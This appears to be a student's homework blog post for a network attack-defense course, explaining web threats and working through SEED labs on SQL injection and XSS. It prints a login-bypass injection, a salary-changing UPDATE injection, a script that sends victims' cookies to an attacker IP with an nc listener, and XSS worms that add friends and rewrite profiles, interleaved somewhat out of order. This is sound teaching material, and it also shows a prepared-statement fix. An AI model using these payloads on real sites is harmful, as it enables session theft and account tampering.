20212926马绪健 2021-2022-2 第十二周(第十次)作业

20212926 2021-2022-2《网络攻防实践》第十一周作业

Web应用程序安全攻防

一、实践内容

1.1Web应用程序及其所面临的安全威胁

①Web应用体系结构

定义:Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,也造就了B/S计算结构,提升了部署和应用的便捷性。web应用体系结构如下图所示,浏览器主要完成数据显示与展示渲染,服务器主要完成业务计算处理,浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信
image
浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。

Web服务器:不仅仅是一个HTTP守护程序,还有对各种Web动态编程语言的支持。
数据库:Web应用存储数据的地方。
Web应用程序:负责服务器端的业务逻辑处理,

面临威胁:

针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。

针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。

系统层安全威胁:Web站点的宿主操作系统。

Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。

Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容
image

1.2Web应用安全攻防技术概述

Web应用攻击路线主要包括Web应用信息收集、攻击Web服务器软件、攻击Web应用程序、攻击Web数据内容、本地攻击
Web应用信息收集
主要手机内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息.
手工审查Web应用程序结构与源代码
查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。
查看Web服务器的存储目录结构。
查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。
输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。

自动下载与镜像Web站点页面:自动化上面的手工审查程
Google Hacking技术审查与探测Web应用程序:
Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
**Web应用程序安全评估与漏洞审查
**
针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。

1.3 SQL注入攻击

代码注入攻击定义
代码注入利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码。包括恶意读取、修改与操纵数据库的SQL注入攻击;在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击;在Web服务器端恶意执行操作系统命令的shell注入攻击还有其他攻击等。
SQL注入攻击原理:
利用Web应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户可以输入并执行一些非预期的SQL指令代码。
1.4XSS跨站脚本攻击
定义:XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。
XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
持久性XSS漏洞

漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上。
攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害。
典型案例: 留言本/论坛/博客/wiki等
非持久性XSS(例子讲解)

攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。

用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。

网站将会在反馈的欢迎页面中包含恶意客户端脚本。

攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。

攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。
image
二、实践过程
任务:我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。 该Web应用程序是一个简单的员工管理应用程序。 员工可以通过此Web应用程序查看和更新数据库中的个人信息。 此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。 员工是一般角色,可以查看或更新自己的个人资料信息。 完成以下任务
熟悉SQL语句:
我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。 在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击
上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击
通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。

2.1.1熟悉SQL语句

在Ubuntu9下,首先使用指令 mysql -u root -pseedubuntu登录数据库。
image

使用 use Users;命令指定访问的数据库,show tables;命令查看指定数据库的表单信息。
image
可以看到该数据库存在一个名为“credential”的表,查看这个表的详细信息,select * from credential
image

2.对SELECT语句的SQL注入攻击

(1)使用 SEED 访问已经搭建好的 Web 页面www.SEEDLabSQLInjection.com
image
使用快捷键ctrl+U查看该页面源码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验。
image
通过vim /var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞
image
利用注释特性,当变量$input_uname为Admin' #时,这部分变成了:WHERE name= 'Admin' #' and Password='$hashed_pwd'实际上,#后面的语句都被注释掉了,那这部分就变成:WHERE name= 'Admin',这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空:
image
发现成功登录,可以看见使用者的生日、薪酬等信息。
image
3.对UPDATE语句的SQL注入攻击
首先利用前面的漏洞,用Alice' #登录,可以看到对应的信息
image
image
然后点击页面上方的Edit Profile进入更新信息页面‘
image
unsafe_edit_backend.php中找到 SQL 语句,发现不能对个人工资进行更新修改,同时由上文可以知道 Alice 的编号是 10000,变量$input_nickname对应的就是用户输入的 NickName
image
如果用户在 NickName 文本框中输入:', salary='500000' where EID='10000';#,那么变量$input_nickname则发生相应改变,于是,上面的语句变为:$sql = "UPDATE credential SET nickname='', salary='500000' where EID='10000';,这条语句就实现了将 Alice 的工资更新为 500000。
image

4.SQL对抗,修复上述SQL诸如攻击漏洞

SQL注入漏洞的根本问题是无法将代码与数据分离。当构造SQL语句时,程序(例如PHP程序)知道哪一部分是数据,哪一部分是数据是代码。不幸的是,当SQL语句被发送到数据库时,边界已经消失。要解决这个问题,重要的是要确保边界的视图是一致在服务器端代码和数据库中。最安全的方法是使用预处理语句。预处理语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预处理语句能防止 SQL 注入。
比如:在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。原来的语句:$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

实践二:XSS攻击实验

1.发布恶意消息,显示警报窗口
进入个人信息页面http://www.xsslabelgg.com/profile/alice
image
点击Edit profile,接着在下面的Brief description文本框输入以下语句:,点击Save保存,页面弹出如下的提示框,点击Save保存
image
从Boby的页面弹进入Alice的页面时弹出出如下的提示框
image
2.弹窗显示cookie信息
在Brief description文本框输入以下 JS 语句并保存:<script>alert(document.cookie);</script>
image
(2)从Boby的页面弹进入Alice的页面时弹出提示框,并且显示当前的 cookie 信息
image
image
3.窃取受害者的Cookies
可以考虑使用 JS 脚本动态地在页面添加一个标签,同时在标签的src属性中嵌入攻击代码,其中本机 192.168.200.4 充当攻击者,JavaScript将cookies发送到攻击者机器的5788端口,若攻击者的TCP server侦听同一个端口,则可打印出收到的内容:
<script>document.write('<img src=http://192.168.200.4:5788?c=' + escape(document.cookie) + ' >');</script>
image
将上述代码同样输入到Brief description文本框中,然后在终端使用以下指令监听端口:nc -l 5788 -v
image
4.成为受害者的朋友
登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友
image
可以看到此时浏览器发送的 POST 请求的地址http://www.xsslabelgg.com/action/friends/addfriend=45&__elgg_ts=1589264053&__elgg_token=v-5SQNXrM_NGAKG0TFtXWQ
image
可以构造下面的脚本,用于添加其他好友

点击查看代码
<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	  //发送 Ajax 请求
	  Ajax = new XMLHttpRequest();
	  Ajax.open("GET", sendurl, true);
	  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	  Ajax.send();
}
</script>
将脚本放在 Alice 的About me文本框 登录 Boby 访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,返回 Boby 主页,看到已经成功添加 Alice 为好友。 ![image](https://img2022.cnblogs.com/blog/2773798/202205/2773798-20220521193601777-1615977997.jpg)
</details>

    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

5.修改受害者的信息
	在进入Edit profile页面后,点击Save后,可以看到具体的 Network 请求信息。
	

三、遇到的问题
	①第一次使用的系统中数据库没有USERS,一直以为是自己问题,直到换了实验一的系统。。。
	②没接触过java script,很难,参考了学长之前的作业,学习到了很多。
四、实践总结
	道阻且长,自己欠缺的东西还有很多,每次实验做起来都很吃力,但是每次成功一个小实验,内心都会又很大的满足感!
posted @ 2022-05-21 19:46  马绪健  阅读(36)  评论(0编辑  收藏  举报